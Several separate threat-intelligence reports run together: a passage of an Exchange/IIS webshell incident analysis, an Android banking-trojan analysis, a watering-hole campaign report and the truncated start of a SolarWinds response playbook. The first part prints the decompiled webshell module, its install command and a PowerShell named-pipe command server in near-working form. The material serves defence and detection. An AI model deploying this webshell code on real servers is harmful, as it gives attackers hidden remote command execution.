"System.Web.TransportClient.TransportHandlerModule, " + [System.Reflection.AssemblyName]::GetAssemblyName($name).FullName c:\windows\system32\inetsrv\Appcmd.exe add module /name:TransportModule /type:"$type" ``` The decompiled code of the DLL is shown below (I am only showing part of the AES encryption key to prevent the hijacking of such a webshell): ```csharp using System.Diagnostics; using System.IO; using System.IO.Pipes; using System.Security.Cryptography; using System.Text; namespace System.Web.TransportClient { public class TransportHandlerModule : IHttpModule { public void Init(HttpApplication application) { application.BeginRequest += new EventHandler(this.Application_EndRequest); } private void Application_EndRequest(object source, EventArgs e) { HttpContext context = ((HttpApplication)source).Context; HttpRequest request = context.Request; HttpResponse response = context.Response; string keyString = "kByTsFZq********nTzuZDVs********"; string cipherData1 = request.Params[keyString.Substring(0, 8)]; string cipherData2 = request.Params[keyString.Substring(16, 8)]; if (cipherData1 != null) { response.ContentType = "text/plain"; string plain; try { string command = TransportHandlerModule.Decrypt(cipherData1, keyString); plain = cipherData2 != null ? TransportHandlerModule.Client(command, TransportHandlerModule.Decrypt(cipherData2, keyString)) : TransportHandlerModule.run(command); } catch (Exception ex) { plain = "error:" + ex.Message + " " + ex.StackTrace; } response.Write(TransportHandlerModule.Encrypt(plain, keyString)); response.End(); } else context.Response.DisableKernelCache(); } private static string Encrypt(string plain, string keyString) { byte[] bytes1 = Encoding.UTF8.GetBytes(keyString); byte[] salt = new byte[10] { (byte)1, (byte)2, (byte)23, (byte)234, (byte)37, (byte)48, (byte)134, (byte)63, (byte)248, (byte)4 }; byte[] bytes2 = new Rfc2898DeriveBytes(keyString, salt).GetBytes(16); RijndaelManaged rijndaelManaged1 = new RijndaelManaged(); rijndaelManaged1.Key = bytes1; rijndaelManaged1.IV = bytes2; rijndaelManaged1.Mode = CipherMode.CBC; using (RijndaelManaged rijndaelManaged2 = rijndaelManaged1) { using (MemoryStream memoryStream = new MemoryStream()) { using (CryptoStream cryptoStream = new CryptoStream((Stream)memoryStream, rijndaelManaged2.CreateEncryptor(bytes1, bytes2), CryptoStreamMode.Write)) { byte[] bytes3 = Encoding.UTF8.GetBytes(plain); memoryStream.Write(bytes2, 0, bytes2.Length); cryptoStream.Write(bytes3, 0, bytes3.Length); cryptoStream.Close(); return Convert.ToBase64String(memoryStream.ToArray()); } } } } private static string Decrypt(string cipherData, string keyString) { byte[] bytes = Encoding.UTF8.GetBytes(keyString); byte[] buffer = Convert.FromBase64String(cipherData); byte[] rgbIV = new byte[16]; Array.Copy((Array)buffer, 0, (Array)rgbIV, 0, 16); RijndaelManaged rijndaelManaged1 = new RijndaelManaged(); rijndaelManaged1.Key = bytes; rijndaelManaged1.IV = rgbIV; rijndaelManaged1.Mode = CipherMode.CBC; using (RijndaelManaged rijndaelManaged2 = rijndaelManaged1) { using (MemoryStream memoryStream = new MemoryStream(buffer, 16, buffer.Length - 16)) { using (CryptoStream cryptoStream = new CryptoStream((Stream)memoryStream, rijndaelManaged2.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Read)) return new StreamReader((Stream)cryptoStream).ReadToEnd(); } } } private static string run(string command) { string str = "/c " + command; Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.Arguments = str; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardOutput = true; process.Start(); return process.StandardOutput.ReadToEnd(); } private static string Client(string command, string path) { string pipeName = "splsvc"; string serverName = "."; Console.WriteLine("sending to : " + serverName + ", path = " + path); using (NamedPipeClientStream pipeClientStream = new NamedPipeClientStream(serverName, pipeName)) { pipeClientStream.Connect(1500); StreamWriter streamWriter = new StreamWriter((Stream)pipeClientStream); streamWriter.WriteLine(path); streamWriter.WriteLine(command); streamWriter.WriteLine("**end**"); streamWriter.Flush(); return new StreamReader((Stream)pipeClientStream).ReadToEnd(); } } public void Dispose() { } } } ``` The registered DLL shows up in the IIS Modules as `TransportModule`. This DLL webshell is capable of executing commands directly via `cmd.exe`, or send the command to a pipe named `splsvc`. In this setup, the DLL acts as the pipe client, i.e., it sends data to the named pipe. In order to set up the other side of the pipe (i.e., the server side of the pipe), the attacker executed this command: ``` cmd.exe /c WMIC /node:"." process call create "powershell -enc JABzAGMAcgBpAHAAdAAgAD0AIAB7AAoACQAkAHAAaQBwAGUATgBhAG0AZQAgAD0AIAAnAHMAcABsAHMAdgBjACcACgAJACQAYwBtAGQAIAA9ACAARwBlAHQALQBXAG0AaQBP ``` The encoded data in the PowerShell command decodes to this script, which sets up the pipe server: ``` $script = { $pipeName ='splsvc' $cmd = Get-WmiObject Win32_Process -Filter "handle = $pid" | Select-Object -ExpandProperty commandline $list = Get-WmiObject Win32_Process | Where-Object {$_.CommandLine -eq $cmd -and $_.Handle -ne $pid} if ($list.length -ge 50) { $list | foreach-Object -process {stop-process -id $_.Handle} } function handleCommand() { while ($true) { Write-Host "create pipe server" $sid = new-object System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSidType]::WorldSid, $Null) $PipeSecurity = new-object System.IO.Pipes.PipeSecurity $AccessRule = New-Object System.IO.Pipes.PipeAccessRule("Everyone", "FullControl", "Allow") $PipeSecurity.SetAccessRule($AccessRule) $pipe = new-object System.IO.Pipes.NamedPipeServerStream $pipeName, 'InOut', 60, 'Byte', 'None', 32768, 32768, $PipeSecurity $pipe.WaitForConnection() $reader = new-object System.IO.StreamReader($pipe); $writer = new-object System.IO.StreamWriter($pipe); $path = $reader.ReadLine(); $data = '' while ($true) { $line = $reader.ReadLine() if ($line -eq '**end**') { break } $data += $line + [Environment]::NewLine } Write-Host $path Write-Host $data try { $parts = $path.Split(':') $index = [int]::Parse($parts[0]) if ($index + 1 -eq $parts.Length) { $retval = iex $data | Out-String } else { $parts[0] = ($index + 1).ToString() $newPath = $parts -join ':' $retval = send $parts[$index + 1] $newPath $data Write-Host 'send to next' + $retval } } catch { $retval = 'error:' + $env:computername + '>' + $path + '> ' + $Error[0].ToString() } Write-Host $retval $writer.WriteLine($retval) $writer.Flush() $writer.Close() } } function send($next, $path, $data) { Write-Host 'next' + $next Write-Host $path $client = new-object System.IO.Pipes.NamedPipeClientStream $next, $pipeName, 'InOut', 'None', 'Anonymous' $client.Connect(1000) $writer = new-object System.IO.StreamWriter($client) $writer.WriteLine($path) $writer.WriteLine($data) $writer.WriteLine('**end**') $writer.Flush() $reader = new-object System.IO.StreamReader($client); $resp = $reader.ReadToEnd() $resp } $ErrorActionPreference = 'Stop' handleCommand } Invoke-Command -ScriptBlock $script ``` From an EDR perspective, the interesting aspect of this type of webshell is that other than the command to set up the pipe server, which is executed via the `w3wp.exe` process, the rest of the commands are executed via the PowerShell command that sets up the pipe server, even though the commands are coming through the `w3wp.exe` process. In fact, once the attacker set up this type of webshell in this intrusion, he/she deleted all of the initial ASPX based webshells. Although during this incident the pipe webshell was only used on the Exchange server itself, it is possible to... ## Webshell Data Decryption In order to communicate with this webshell, the attacker issued the commands via the `/ews/exchange.asmx` page. Let's break down the communication with this webshell and highlight some of the characteristics that make it unique. Here is a sample command: ### Request ``` POST /ews/exchange.asmx HTTP/1.1 host: webmail.***************.com content-type: application/x-www-form-urlencoded content-length: 385 Connection: close kByTsFZq=t52oDnptrTkTGLPlNYi6U2crOvyn5KhAC2MJegqJ2s5396NZ9ZFqEuN2RHAaaqePvgKuQ7X%2BPFePh0x3QNXbL9sMnyPkRcA3IvyGbPFbt89cwlmtuPLJdjmCZ%2FDNPacCBeG2PzLV70p2Q0vRiyOXzi2NeEo6jcyc5iQAfOFCWPf90OjoEDruADkMgg18JV7hqtBWLsOF1caRW8%2BVcEj0Fii88I9zGYwjd%2F9Dv3TV4SFKxVvYeVJRr6lTHHO0RIJEGVU5Oa8F%2BkO%2BEQt%2FtS49h8J%2FpjTNShwZOLA ``` ### Response ``` HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET X-FEServer:*************** Date: Sat, 07 Mar 2020 08:10:43 GMT Content-Length: 1606656 2QfeQaDxyIZD4JjRv7tj0XmEwYRrdN5wFMCj5ROF2vV/7y7WUPkH2S7ZASsoQpNgX7F+aMek0q72blHFkdKDQFwDVjPr9sBWR2grwHPsXENO2KFKle5i63TAOUzlHgs3LTwuGc/Md41r60l+5ke+xLhIKKXCHZTxnG9BRHgtefPlFR8BEzlJcWA5SOgo+n29DZjqjhBeenMqL+d+DNECKjXdji8IIr/AsvWoEkiwuv05K04EcJpjecIUzVKSkcgGmhCoijl5QEN8N32E//NkpfEgq/Rqsytf8xIwSDqUlTqObUwwq0BkOX79mI6WS5Zu627Rf6z7SNyH+zHe0dEAcBAZDH2sEfyFUe2QQjK8J7M/QBU5vDGj***** REDACTED ****** ``` The request to `/ews/exchange.asmx` is done in lowercase. While there are a couple of email clients that exhibit that same behavior, they could be quickly filtered out, especially when we see that the requests to this webshell do not even contain a user agent. We also notice that several of the other HTTP headers are in lowercase. The actual command follows the HTTP headers. Let's break down this command: ``` kByTsFZq=t52oDnptrTkTGLPlNYi6U2crOvyn5KhAC2MJegqJ2s5396NZ9ZFqEuN2RHAaaqePvgKuQ7X%2BPFePh0x3QNXbL9sMnyPkRcA3IvyGbPFbt89cw ``` The beginning of the payload contains part of the AES encryption key. Namely, in the decompiled code shown above we notice that the AES key is: `kByTsFZq********nTzuZDVs********`. The data that follows the first 8 bytes of the key is shown below: ``` t52oDnptrTkTGLPlNYi6U2crOvyn5KhAC2MJegqJ2s5396NZ9ZFqEuN2RHAaaqePvgKuQ7X%2BPFePh0x3QNXbL9sMnyPkRcA3IvyGbPFbt89cw ``` Let's decrypt this data step by step and build a Cyberchef recipe to do the job for us: 1. The obfuscated data needs to be URL decoded; however, the `+` character is a legitimate Base64 character that is misinterpreted by the URL decoder as a space. So, we first replace the `+` with a `.` (dot). The `+` character will not necessarily be in every chunk of Base64 encoded data, but we need to account for it in order to build an error-free recipe. 2. At this point, we can Base64 decode the data. However, the data that we will get from this step is binary in nature, so we will convert to ASCII hex as well, since we need to use part of it for the AES IV. 3. The first 32 bytes of ASCII hex (16 bytes raw) are the AES IV, so in these two steps we use the Register function of Cyberchef to store these bytes in `$R0`, and then remove them with the Replace function. 4. Finally, we can decrypt the data using the static AES key that we got from the decompiled code, and the dynamic IV value that we extracted from the decoded data. The actual recipe is shown below: ``` https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Simple%20string','string':'%2B'%7D,'.',true,false,true,false)UR Za-z0-9%2B/%3D',true)To_Hex('None',0)Register('(.%7B32%7D)',true,false,false)Find_/_Replace(%7B'option':'Regex','string':'.%7B32%7D(.*)'%7 ``` We use the same recipe to decode the second chunk of encoded data in the request (`SryqIaK3fpejyDoOdyf9b%2Fi7aBqPAzBL1SUROVuScbc%3D`), which ends up only decoding to the following: The response does not contain any parts of the key, so we can just copy everything following the HTTP headers and decrypt with the same formula. Here is a partial view of the results of the command, which is just a file listing of the `\Windows\temp` folder: ## NetWitness Platform - Detection The malicious activity in this incident will be detected at multiple stages by NetWitness Endpoint from the exploit itself to the webshell activity and subsequent commands executed via the webshells. The easiest way to detect webshell activity, regardless of its type, is to monitor any web daemon processes (such as `w3wp.exe`) for uncommon behavior. Uncommon behavior for such processes primarily falls into three categories: 1. Web daemon process starting a shell process. 2. Web daemon process creating (writing) executable files. 3. Web daemon process launching uncommon processes (here you may have to filter out some processes based on your environment). The NetWitness Endpoint 11.4 comes with various AppRules to detect webshell activity. The process tree will also reveal the commands that are executed via the webshell in more detail. Several other AppRules detect the additional activity, such as: - PowerShell Double Base64 - Runs PowerShell Using Encoded Command - Runs PowerShell Using Environment Variables - Runs PowerShell Downloading Content - Runs PowerShell With HTTP Argument - Creates Local User Account As part of your daily hunting, you should always also look at any Fileless_Scripts, which are common when encoded PowerShell commands are executed. From the NetWitness packet perspective, such network traffic is typically encrypted unless SSL interception is already in place. RSA highly recommends that such technology is deployed in your network to provide visibility into this type of traffic, which also makes up a substantial amount of traffic in every network. Once the traffic is decrypted, there are several aspects of this traffic that are grouped in typical hunting paths related to the HTTP protocol, such as HTTP with Base64, HTTP with no user agent, and several others shown below: The webshell commands are found in the Query meta key. In order to flag the lowercase request to `/ews/exchange.asmx`, we will need to set up a custom configuration using the SEARCH parser, normally disabled by default. We can do the same with the other lowercase headers, which are the characteristics we observed of whatever client the attacker is using to interact with this webshell. In NWP, we can quickly set this in the `search.ini` file of your decoder. Any hits for this string can then be referenced in AppRules by using this expression (found = 'Lowercase EWS'), and can be combined with other metadata. ## Conclusion This incident demonstrates the importance of timely patching, especially when a working exploit is publicly available for a vulnerability. However, regardless of whether you are dealing with a known exploit or a 0-day, daily hunting and monitoring can always lead to early detection and reduced attacker dwell time. The NetWitness Platform will provide your team with the necessary visibility to detect and investigate such breaches. Special thanks to Rui Ataide and Lee Kirkpatrick for their assistance with this case.
# Deep-dive Analysis of S.O.V.A. Android Banking Trojan Cyble Research Labs came across a blog post on the dark web regarding an Android Banking Trojan named S.O.V.A during our routine threat hunting exercise. The post was made by an unknown Threat Actor (TA) as an advertisement on the XSS.is forum. The TA also mentions that the trojan is under development. According to the post, S.O.V.A. (“owl” in Russian) is a new Android banking trojan under active development. The TA has also mentioned that the trojan currently works on Android version 7 – 11 and plans to upgrade the bot to work on Android 12 as well. The TA is planning to incorporate Distributed Denial of Service (DDoS), Man in the Middle (MiTM), and ransomware functionalities into S.O.V.A. The features in the current version of S.O.V.A. malware are listed below: 1. Standard data available in the device 2. Send SMS 3. Send inject PUSH 4. Send a cookie PUSH 5. Send U.S.S.D. 6. Standard Injections 7. 3-Stage Injections 8. Cookie Injections (Session Grabber) 9. Automatic Injections 10. Credit Card Injections with a CC check for validity 11. Covert SMS Interception 12. Covert PUSH Interception 13. Keylogger 14. Delete Application The TA is also planning to add the following features in future variants: 1. Automatic 3-stage Injections 2. Automatic Cookie Injections 3. Complete Normal Clipper 4. DDOS 5. GIF Accessibility 6. Improving Panel Performance 7. Mini Ransomware with Card Insertion 8. Interception of Internet packets (packet capture, “MITM”) 9. Normal PUSH Notifications 10. Many Injections 11. V.N.C. 12. Interception of 2FA ## Technical Analysis ### APK Metadata Information **APK File Info** - App Name: Flash Player - Package Name: com.adobe.flashplayer - SHA256 Hash: 8a6889610a18296e812fabd0a4ceb8b75caadc5cec1b39e8173c3e0093fd3a57 The malware sample is disguising itself as Adobe Flash Player. ### Manifest File Description The fake Flash Player app requests 21 different permissions, of which the TA can abuse 12. The dangerous permissions requested by the malware are listed below. | Permission Name | Description | |-------------------------------|--------------------------------------------------| | READ_CONTACTS | Access to phone contacts | | READ_EXTERNAL_STORAGE | Access device external storage | | WRITE_EXTERNAL_STORAGE | Modify device external storage | | READ_PHONE_STATE | Access phone state and information | | RECORD_AUDIO | Allows recording audio using device microphone | | CALL_PHONE | Perform call without user intervention | | READ_CALL_LOG | Access user’s call logs | | READ_SMS | Access user’s SMSs stored in the device | | RECEIVE_MMS | Fetch and process M.M.S. messages | | RECEIVE_SMS | Fetch and process SMS messages | | SEND_SMS | Allows the app to send SMS messages | | SYSTEM_ALERT_WINDOW | Allows displaying system alerts over other apps | | WRITE_SMS | Modify or delete SMSs stored in Database | Upon inspecting the Android components declared in the manifest, we identified the activity class that is initiated on starting the app from the icon. The permissions, activity classes, and services declared in the manifest file allow the malware to replace the Messages app on the device. Upon receiving permission to act as the default messaging app, the S.O.V.A. trojan will be able to handle, send, and receive SMS and M.M.S. messages from the infected device. The S.O.V.A. malware has also declared permissions to handle device notifications in the Android manifest file. It abuses this capability to read and modify notifications received on the device. Upon enabling this, the banking trojan will be able to intercept all notifications such as OTPs, personal messages, etc. The malware requests the user for the BIND_ACCESSIBILITY_PERMISSION. This permission allows apps to access a powerful service running on the Android device called Accessibility Service. Accessibility Service is a background service running in the device which is used to aid users with disabilities. Malware such as Banking trojans, Remote Access Trojans (R.A.T.s), and Spyware abuse this service to intercept and monitor all activities happening on the device screen. ### Initial Stage Behavior The three stages of S.O.V.A. malware’s initial behavior are: 1. Prior to launch, the malware does not have any permissions: No Notification listener permission and no other dangerous permissions. 2. Once the victim starts the app, the malware requests the user to enable Accessibility permission. Upon enabling the Accessibility permission, the malware enables all the requested permissions, hides the icon from the user’s home screen, requests the victim to make the fake Flash player the default messaging app, and blocks the victim from accessing the malicious app’s Settings page. ### Source Code Analysis The S.O.V.A. malware has created a background service called RequestService, which communicates with the Command and Control (C&C) server and performs malicious activities based on the commands received from the server. The commands from the C&C server are: | Command | Description | |----------------|-------------------------------------------| | startddos | Initiate DDoS | | stealer | Steal Session Cookie of an app | | hidensms | Hide received SMS from notification | | starthidenpush | Hide push notifications | | delbot | Delete the bot from device | | getlog | Upload key logged data | | startkeylog | Clears old key log and initiate | | scaninject | Update targeted application list | | stopkeylog | Stop keylogging | | openinject | Open WebView with the URL from C&C | | stophidenpush | Stop hiding push notifications | | sendpush | Display Push notification to start WebView Injection | | stophidensms | Stop hiding received SMSs | | stopddos | Stop DDoS | | stopscan | Stop scan for new app targets | | stealerpush | Same as sendpush command | | sendsms | Send SMS message | The S.O.V.A. malware creates listeners for events on the device, such as boot complete, SMS received, etc. The malware communicates with the C&C server whenever these listeners are triggered. The malware also sends the details of the event along with the data. S.O.V.A. malware constantly monitors the device screen for targeted applications. The targeted applications are stored in the packageList.txt file in the assets folder. Whenever the user opens a target application, the malware creates an overlay using the WebView with the link provided by the C&C server. The targeted apps include banking apps, cryptocurrency apps, etc. The TA can also add new apps to target based on their requirements. The malware uses Accessibility to monitor the victim’s device screen. The code used by the malware to monitor the screen for targeted apps is shown in the figure below. In the overlay screen, the victim will be displayed a fake login page of the targeted application. Upon login, the malware steals the cookies using the CookieManager and CookieSyncManager features. The trojan also has the capability to send SMS messages to the number provided by the C&C server. The trojan registers a service for monitoring clipboard changes. The S.O.V.A. malware also has the capability to perform DDoS attacks on a specific public server which is provided as a command from the C&C server. The target of the DDoS attacks is shared by the TA. The malware hides the C&C server URL using Base64 encoding. **C&C Server URL:** hxxp://a0545193.xsph[.]ru The C&C endpoint methods used by the S.O.V.A. malware include: - /api – Main API endpoint method - /keylog.php – Keylog stealing method - /testpost.php – send stolen cookies - /logpost.php – send logs We also observed that the malware author is planning to include Telegram as C&C. This behavior is similar to the recent Banking Trojan called Aberebot. ### Targeted Application List The targeted application list includes various banking and cryptocurrency apps. ### Conclusion According to our research, there is a substantial increase in the number of Android Banking Trojans emerging of late. We have also observed that the malware authors are incorporating new technology to steal information and money from victims. S.O.V.A. is the latest example of this shift in trends. S.O.V.A. malware uses the same techniques used by other Android Banking Trojans such as Aberebot, Cerberus, etc. Alongside being a Banking Trojan, the new trojan offers the capability to perform DDoS attacks, cookie stealing, hiding notifications, etc. The author has mentioned that they plan to incorporate other dangerous features such as ransomware. These trojans can be avoided by following some basic cyber hygiene practices on mobile devices. ## Our Recommendations We recommend that our readers follow the best practices given below: 1. If you find this malware on your device, uninstall using adb uninstall or perform a factory reset. 2. Use the shared IoCs to monitor and block the malware infection. 3. Keep your anti-virus software updated to detect and remove malicious software. 4. Keep your Operating System and applications updated to the latest versions. 5. Use strong passwords and enable two-factor authentication. 6. Download and install software only from registered app stores. ## MITRE ATT&CK® Techniques | Tactic | Technique ID | Technique Name | |---------------------------|--------------|-------------------------------------| | Defense Evasion | T1406 | Obfuscated Files or Information | | Credential Access | T1414 | Capture Clipboard Data | | Discovery | T1421 | System Network Connections Discovery | | | T1430 | Location Tracking | | | T1424 | Process Discovery | | Collection | T1507 | Network Information Discovery | | | T1412 | Capture SMS Messages | | | T1432 | Access Contact List | | | T1429 | Capture Audio | | Command and Control | T1571 | Non-Standard Port | | | T1573 | Encrypted Channel | | Impact | T1447 | Delete Device Data | ## Indicators of Compromise (IoCs) | Indicators | Indicator Type | Description | |---------------------------------------------------------------------------|----------------|--------------------------------------| | 8a6889610a18296e812fabd0a4ceb8b75caadc5cec1b39e8173c3e0093fd3a57 | SHA256 | Hash of the APK sample | | efb92fb17348eb10ba3a93ab004422c30bcf8ae72f302872e9ef3263c47133a7 | SHA256 | Hash of the second APK sample | | 795b279f312a773f7f556a978387f1b682f93470db4c1b5f9cd6ca2cab1399b6 | SHA256 | Hash of the third APK sample | | dd8a5a1a8632d661f152f435b7afba825e474ec0d03d1c5ef8669fdc2b484165 | SHA256 | Hash of the fourth APK sample | | hxxp://a0545193.xsph[.]ru | URL | C&C URL | | hxxp://l8j1nsk3j5h1msal973nk37[.]fun | URL | C&C URL of another sample | ## About Us Cyble is a global threat intelligence SaaS provider that helps enterprises protect themselves from cybercrimes and exposure in the Darkweb. Its prime focus is to provide organizations with real-time visibility to their digital risk footprint. Backed by Y Combinator as part of the 2021 winter cohort, Cyble has also been recognized by Forbes as one of the top 20 Best Cybersecurity Start-ups To Watch In 2020. Headquartered in Alpharetta, Georgia, and with offices in Australia, Singapore, and India, Cyble has a global presence.
# Strategic Web Compromises in the Middle East with a Pinch of Candiru ESET researchers have discovered strategic web compromise (aka watering hole) attacks against high-profile websites in the Middle East. Back in 2018, ESET researchers developed a custom in-house system to uncover watering hole attacks on high-profile websites. On July 11th, 2020, it was notified that the website of the Iranian embassy in Abu Dhabi had been modified and had started injecting JavaScript code from `https://piwiks[.]com/reconnect.js`. Our curiosity was aroused by the nature of the targeted website, and in the following weeks, we noticed that other websites with connections to the Middle East started to be targeted. We traced the start of the campaign back to March 2020, when the piwiks[.]com domain was re-registered. We believe that the strategic web compromises only started in April 2020 when the website of the Middle East Eye (middleeasteye.net), a London-based digital news site covering the region, started to inject code from the piwiks[.]com domain. At the end of July or the beginning of August 2020, all remaining compromised websites were cleaned; it is probable that the attackers themselves removed the malicious scripts from the compromised websites. The threat group went quiet until January 2021, when we observed a new wave of compromises. This second wave lasted until August 2021, when all websites were cleaned again. A few indicators from this second wave were shared on Twitter by a fellow researcher, which allows us to make a link with what Kaspersky tracks as Karkadann. We detail the inner workings of the compromises in the Technical analysis section, but it is worth noting that the final targets are specific visitors of those websites, who are likely to receive a browser exploit. The compromised websites are only used as a hop to reach the final targets. We also uncovered interesting links with Candiru, a private Israeli spyware firm that was recently added to the Entity List of the US Department of Commerce. This may prevent any US-based organization from doing business with Candiru without first obtaining a license from the Department of Commerce. At the time of writing, it seems that the operators are taking a pause, probably in order to retool and make their campaign stealthier. We expect to see them back in the ensuing months. ## Targeting Our tracking shows that the operators are mostly interested in the Middle East, with a particular emphasis on Yemen. ### Table 1. Domains Compromised During the First Wave | Compromised Website | C&C | From | To | Detail | |---------------------------|--------------------|---------------|---------------|-------------------------------------------------------------------------| | middleeasteye.net | piwiks[.]com | 2020-04-04 | 2020-04-06 | A UK-based online newspaper covering the Middle East. | | piaggioaerospace.it | piwiks[.]com | 2020-07-08 | 2020-11-05 | An Italian aerospace company. | | medica-tradefair[.]co | rebrandly[.]site | 2020-07-09 | 2020-10-13 | Fake website impersonating a German medical trade fair in Düsseldorf. | | mfa.gov.ir | piwiks[.]com | 2020-07-11 | 2020-07-13 | Ministry of Foreign Affairs of Iran. | | almanar.com.lb | rebrandly[.]site | 2020-07-24 | 2020-07-30 | Television channel linked to Hezbollah. | | smc.gov.ye | visitortrack[.]net | 2021-01-18 | 2021-04-14 | Ministry of Interior of Yemen. | | almasirahnews.com | visitortrack[.]net | 2021-01-25 | 2021-03-25 | Yemeni Television channel linked to the Ansar Allah movement (Houthis).| | casi.gov.sy | hotjar[.]net | 2021-02-01 | Unknown | Central Authority for the Supervision and Inspection of Syria. | | moe.gov.sy | hotjar[.]net | 2021-02-01 | Unknown | Syrian Ministry of Electricity. | | almanar.com.lb | webfx[.]bz | 2021-02-03 | 2021-02-23 | Television channel linked to Hezbollah. | | manartv.com.lb | webfx[.]bz | 2021-02-03 | 2021-03-22 | Television channel linked to Hezbollah. | | mof.gov.ye | hotjar[.]net | 2021-02-11 | 2021-07-14 | Ministry of Finance of Yemen. | | customs.gov.ye | livesesion[.]bid | 2021-03-24 | 2021-06-16 | Customs agency of Yemen. | | denel.co.za | site-improve[.]net | 2021-03-31 | 2021-07-22 | A South African state-owned aerospace and military technology conglomerate. | | yemen.net.ye | hotjar[.]net | 2021-04-15 | 2021-08-04 | Internet service provider in Yemen. | | yemenparliament.gov.ye | hotjar[.]net | 2021-04-20 | 2021-07-05 | Parliament of Yemen. | | yemenvision.gov.ye | hotjar[.]net | 2021-04-21 | 2021-06-13 | Yemeni government website. | medica-tradefair[.]co is the outlier in this list, as it was not compromised but was operated by the attackers themselves. It was hosted at ServerAstra, as were all the other C&C servers used in 2020. It mimics the legitimate website medica-tradefair.com, which is the website of the World Forum for Medicine’s MEDICA Trade Fair held in Düsseldorf (Germany) each year. The operators simply cloned the original website and added a small piece of JavaScript code. It is interesting to note that the malicious domains mimic genuine web analytics, URL shortener, or content delivery network domains and URLs. This is a characteristic of this threat actor. ## Technical Analysis – Strategic Web Compromises ### First Wave – 2020 **First Stage – Injected Script** All compromised websites were injecting JavaScript code from the attacker-controlled domains piwiks[.]com and rebrandly[.]site. In the first known case, the injection loads a remote JavaScript named reconnects.js and a legitimate third-party library, GeoJS, for IP geolocation lookup. **Second Stage – Fingerprinting Script** reconnects.js and recon-api.js are almost identical; only the order of some lines or functions are changed. The script first implements a function named geoip. It is automatically called by the GeoJS library, previously loaded. The variable json contains the IP geolocation information. The script sends this JSON via an HTTP POST request to the C&C server at the URL `https://rebrandly[.]site/reconnect-api.php`. If the server returns an HTTP 200 status code, then the script proceeds to a function named main. The script also encrypts a hardcoded value, 1122, although we don’t know for what purpose. Despite the function being named decrypt, it actually encrypts using RSA and the library JSEncrypt. The 1024-bit RSA key is hardcoded. Then, the script sends an HTTPS GET request to the C&C server rebrandly[.]site. The id parameter contains the fingerprint data and the last parameter value contains the country provided by the GeoJS library. If the server returns a reply, it is decrypted using AES from the CryptoJS library, and a hardcoded key. The decrypted value is supposedly a URL and a new iframe pointing to this URL is created. We believe it leads to a browser remote code execution exploit that allows an attacker to take control of a machine. ### Second Wave – 2021 In January 2021, a new wave of attacks started. The attackers created an entirely new network infrastructure and changed all their JavaScript code. **First Stage – Injected Script** In this second wave, they started to modify scripts that were already on the compromised website. They simply added a few lines at the end of `https://www.smc.gov.ye/wp-includes/js/wp-embed.min.js` to load a script from a server they control: `https://visitortrack[.]net/sliders.js`. **Second Stage** From January to March 2021, for the second-stage script, the operators used a script based on the minAjax library. This script contains the current timestamp, expiration timestamp, and two hashes, whose significance we don’t know at present. These values are sent to the C&C server `https://webfex[.]bz/f/gstats`. If the reply is a JSON object and contains the fw key, the script issues a redirection to the URL contained in fw. In April 2021, this script was changed to FingerprintJS Pro. This is a commercial product whose developers have an official website. In comparison to the fingerprinting script used in 2020, this is far more complex because it retrieves the default language, the list of fonts supported by the browser, the time zone, the list of browser plugins, the local IP addresses using RTCPeerConnection, and so on. Network communications with the C&C server are encrypted with an AES session key. ## Spearphishing Documents and Links with Candiru In the Citizen Lab Candiru blog post, there is a section called A Saudi-Linked Cluster. It mentions a spearphishing document that was uploaded to VirusTotal. The C&C server used by this document is `https://cuturl[.]space/lty7uw` and VirusTotal captured a redirection from this URL to `https://useproof[.]cc/1tUAE7A2Jn8WMmq/api`. The domain useproof[.]cc was resolving to an IP address, and according to the Citizen Lab, this server matched their so-called CF3 fingerprint for Candiru C&C servers. ### Table 2. Domains Similar to cuturl[.]space | Domain | Registrar | IP | Hosting Provider | |---------------------|--------------------------------|------------------------|------------------| | llink[.]link | Njalla | 83.171.237[.]48 | Droptop | | instagrarn[.]co | TLD Registrar Solutions | 83.97.20[.]89 | M247 | | cuturl[.]app | TLD Registrar Solutions | 83.97.20[.]89 | M247 | | url-tiny[.]co | TLD Registrar Solutions | 83.97.20[.]89 | M247 | | bitly[.]tel | Njalla | 188.93.233[.]149 | Dotsi | These domain names mimic URL shorteners and the Instagram social media website and were registered through Njalla and TLD Registrar Solutions Ltd. This reminds us of the domains used for the strategic web compromises that are all variations of genuine web analytics websites. ## Conclusion This report describes two strategic web compromise campaigns targeting high-profile organizations in the Middle East, with a strong focus on Yemen. We also revealed links to Candiru, a spyware firm, that sells state-of-the-art offensive software tools and related services to government agencies. We were unable to get an exploit and the final payload. This shows that the operators choose to narrow the focus of their operations and that they don’t want to burn their zero-day exploits. A comprehensive list of Indicators of Compromise (IoCs) and samples can be found in our GitHub repository. For any inquiries, or to make sample submissions related to the subject, contact us at [email protected].
# Incident Response Playbook for Responding to SolarWinds Orion Compromise **We will continue to update this article with additional information as it becomes available. Check back here and GitHub regularly for further updates.** Last updated 2020-12-15T12:18Z For security teams who have SolarWinds in their environment looking to initiate incident response, we’re providing the following playbook, based upon our initial understanding of the threat, as an aid to help you investigate any potential attack. The information presented may not be complete or eliminate all threats, but we expect will be effective based on our experience. As more information becomes available about the threat, recommended steps may change or be updated. ## Example Threat Model This response process may need to be customized for your environment and is based upon the following assumptions: 1. Ability to establish when the vulnerable component was introduced into the environment and log coverage for that period. 2. Assume adversary had access to all accounts and credentials utilized by SolarWinds Orion server and the capability to assume the identity of any administrative or related accounts. 3. Assume adversary had the capability and network access to maintain a C2 channel to SolarWinds Orion server. 4. Ability to determine that no accounts used by SolarWinds, nor accounts used to access the SolarWinds Orion server had full domain administrative rights. 5. Ability to determine that no active malicious activity occurred relating to the vulnerable component based upon currently available IOCs and detections. If you find evidence of malicious activity or if you are not able to arrive at some of the baseline conclusions described here, Sophos recommends initiating your full incident response procedures or reaching out for external assistance. ## Detection and Analysis ### Hunt for Impacted SolarWinds Instances **Endpoint Queries** - **Sophos EDR/Osquery:** Detection queries - **Sophos Intercept X:** Sophos Application Control detects all versions of SolarWinds Orion as “SolarWinds MSP Agent”. Application Control is an optional setting – read the Help Guide for instructions on how to enable it, and add SolarWinds to the list of apps you want to block. **Labs Detections:** List of detections and IOCs **Manual (example):** ``` PS C:\Windows\system32> 